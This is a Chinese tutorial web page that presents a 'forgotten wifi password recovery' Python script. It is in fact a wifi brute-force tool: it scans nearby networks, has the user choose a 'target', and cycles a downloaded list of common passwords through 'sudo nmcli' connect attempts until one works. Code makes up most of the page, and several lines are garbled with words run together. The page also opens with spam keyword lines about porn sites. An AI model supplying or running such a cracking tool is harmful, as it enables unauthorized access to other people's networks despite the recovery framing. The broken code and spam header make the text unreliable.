亚洲 日韩 激情 无码 中出,无码人妻久久一区二区三区蜜桃,亚无码乱人伦一区二区,四虎影视永久免费观看,四虎成人精品一区二区免费网站

忘記的wifi密碼Python腳本找回

小編:餓狼 更新時(shí)間:2025-06-16 17:31

很多小伙伴都好奇,一些個(gè)網(wǎng)絡(luò)大神咋就把wifi密碼給找回來(lái)了?其實(shí)找回wifi密碼的難度主要看密碼設(shè)得有多復(fù)雜。如果是那種常見(jiàn)的弱密碼,比如“12345678”,找回來(lái)真不難!下面就教你用Python腳本三步找回wifi密碼,純?yōu)閷W(xué)習(xí)技術(shù),別拿去干違法的事兒哦!

忘記的wifi密碼Python腳本找回

第一步:掃描附近wifi信號(hào)

想找回wifi密碼,第一步得知道附近有哪些wifi信號(hào)。咱們可以用Python寫(xiě)個(gè)小函數(shù),叫`display_targets`,獲取wifi列表。

def display_targets(networks, security_type):
    print("Select a target: \n")
    
    rows, columns = os.popen('stty size', 'r').read().split()
    for i in range(len(networks)):
        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
        spacer = " "
        
        if (int(columns) >= 100):
            calc = int((int(columns)-int(width))*0.75)
        else:
                calc = int(columns)-int(width)
        
        for index in range(calc):
            spacer += "."
            if index == (calc-1):
                spacer += " "
            
        print(str(i+1)+". "+networks[i]+spacer+security_type[i])

它能掃描附近wifi的SSID(就是wifi名字,比如“HUAWEI-XXXX”)。跑代碼后,程序會(huì)把附近wifi信號(hào)列出來(lái),存到列表里,方便你挑想找回密碼的那個(gè)wifi。這個(gè)函數(shù)寫(xiě)下來(lái)也就十幾行,超簡(jiǎn)單!

忘記的wifi密碼Python腳本找回

小提示:先用`pip install pywifi`裝好庫(kù),Windows、Mac、Linux都支持。跑之前確認(rèn)下電腦網(wǎng)卡能不能掃wifi,不然可能啥也找不到。

第二步

掃完wifi列表后,找到你的wifi。這步更輕松,純Python基礎(chǔ)操作。可以用輸入框,讓你從列表選出wifi名字(比如“TP-LINK_1234”)。選好后,程序會(huì)記住這個(gè)wifi的SSID,準(zhǔn)備下一步。

def prompt_for_target_choice(max):
    whileTrue:
        try:
            selected = int(input("\nEnter number of target: "))
            if(selected >= 1and selected <= max):
                return selected - 1
        except Exception as e:
            ignore = e

        print("Invalid choice: Please pick a number between 1 and " + str(max))

第三步:暴力嘗試找回wifi密碼

選好wifi后,重頭戲來(lái)了——咋找回密碼?最常用的辦法是“暴力嘗試”,就是拿一堆常見(jiàn)密碼挨個(gè)試。咱們可以用GitHub上的一個(gè)開(kāi)源項(xiàng)目,里面有10萬(wàn)個(gè)常用wifi密碼(比如“admin123”之類的弱密碼)。程序會(huì)自動(dòng)用這些密碼去試,直到找到對(duì)的那個(gè)。

具體咋干?寫(xiě)個(gè)函數(shù),循環(huán)讀取密碼列表,自動(dòng)嘗試連wifi。每次試的時(shí)候,屏幕會(huì)用顏色提示:紅色是試錯(cuò)了,紫色是正在試,綠色是找回成功!整個(gè)代碼大概60行,核心就是`pywifi`的連接功能加上密碼循環(huán),效率很高。

def brute_force(selected_network, passwords, args):
    for password in passwords:
        # necessary due to NetworkManager restart after unsuccessful attempt at login
        password = password.strip()

        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
        if isinstance(password, str):
            decoded_line = password
        else:
            decoded_line = password.decode("utf-8")
            
        if args.verbose isTrue:
            print(bcolors.HEADER+"** TESTING **: with password '" +
                decoded_line+"'"+bcolors.ENDC)

        if (len(decoded_line) >= 8):
            time.sleep(3)

            creds = os.popen("sudo nmcli dev wifi connect " +
                selected_network+" password "+decoded_line).read()
                
            # print(creds)

            if ("Error:"in creds.strip()):
                if args.verbose isTrue:
                    print(bcolors.FAIL+"** TESTING **: password '" +
                        decoded_line+"' failed."+bcolors.ENDC)
            else:
                sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
                    decoded_line+"' succeeded."+bcolors.ENDC)
        else:
            if args.verbose isTrue:
                print(bcolors.OKCYAN+"** TESTING **: password '" +
                    decoded_line+"' too short, passing."+bcolors.ENDC)

    print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

小提醒:找回速度看你電腦性能和密碼復(fù)雜程度。如果wifi用的是“password123”這種弱密碼,估計(jì)幾分鐘就搞定;但如果是16位隨機(jī)密碼,難度就大多了。

把三步連起來(lái)

把這三步串起來(lái),邏輯是這樣的:先用`display_targets`掃wifi列表,選好你的wifi,最后用暴力嘗試函數(shù)一個(gè)個(gè)試密碼。整個(gè)腳本不到100行,簡(jiǎn)單又好使!跑的時(shí)候,屏幕會(huì)刷測(cè)試狀態(tài),紅色、紫色、綠色提示清清楚楚,找到密碼后直接顯示,爽快!

def main():
    require_root()
    args = argument_parser()

    # The user chose to supplied their own url
    if args.url isnotNone:
        passwords = fetch_password_from_url(args.url)
    # user elect to read passwords form a file
    elif args.file isnotNone:
        file = open(args.file, "r")
        passwords = file.readlines()
        ifnot passwords:
            print("Password file cannot be empty!")
            exit(0)
        file.close()
    else:
        # fallback to the default list as the user didnt supplied a password list
        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
        passwords = fetch_password_from_url(default_url)

    # grabbing the list of the network ssids
    func_call = start(1)
    networks = func_call[0]
    security_type = func_call[1]
    
    ifnot networks:
        print("No networks found!")
        sys.exit(-1)

    display_targets(networks, security_type)
    max = len(networks)
    pick = prompt_for_target_choice(max)
    target = networks[pick]
    
    print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

    brute_force(target, passwords, args)

小建議:找到密碼后,記到手機(jī)備忘錄里,標(biāo)上“家里wifi密碼”,免得下次又忘了。

一點(diǎn)小忠告

找回wifi密碼聽(tīng)起來(lái)挺炫,但得悠著點(diǎn)。弱密碼的wifi確實(shí)容易被找回,但還是建議自己家的wifi密碼最好設(shè)得復(fù)雜點(diǎn),字母、數(shù)字、符號(hào)混搭,12位以上才保險(xiǎn)。別去試別人家的wifi,不僅不道德,還可能犯法。學(xué)這個(gè)主要是搞懂技術(shù)原理,滿足好奇心,或者幫自己找回忘了的密碼。

想玩得更深?可以分析找回成功率,比如統(tǒng)計(jì)哪些密碼最常見(jiàn),或者用Python的`matplotlib`把嘗試時(shí)間畫(huà)成圖,數(shù)據(jù)控看了超滿足!

好啦,三步找回wifi密碼的教程到這兒!希望你覺(jué)得有趣又有料。